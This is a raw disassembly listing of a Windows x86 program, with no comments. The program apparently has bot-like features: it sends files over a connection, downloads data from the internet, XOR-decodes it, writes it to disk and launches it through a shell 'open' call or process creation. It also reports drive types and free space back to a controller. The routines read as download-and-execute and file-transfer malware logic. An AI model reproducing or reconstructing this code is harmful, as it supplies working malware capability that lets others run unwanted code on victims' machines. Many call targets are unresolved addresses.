; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_437514

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB03C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2750000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFF4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAFBC
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2650939h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374E8
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB03C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374D0
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F097Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43764C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2650939h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_43761C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375FC

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAFA0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374D0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375D0
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB03C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAEA8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 26F097Dh
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437818
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2680F34h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAEB0
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377F0
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C8

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCE0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43779C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 2680F34h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2650939h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437774
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAF10
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437720
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376DC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D158
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2650C30h
		nop
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAEFC
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4376A8
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43767C

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFD8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BD8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB004
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43786C
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437868
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE94
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_4378BC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437880
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

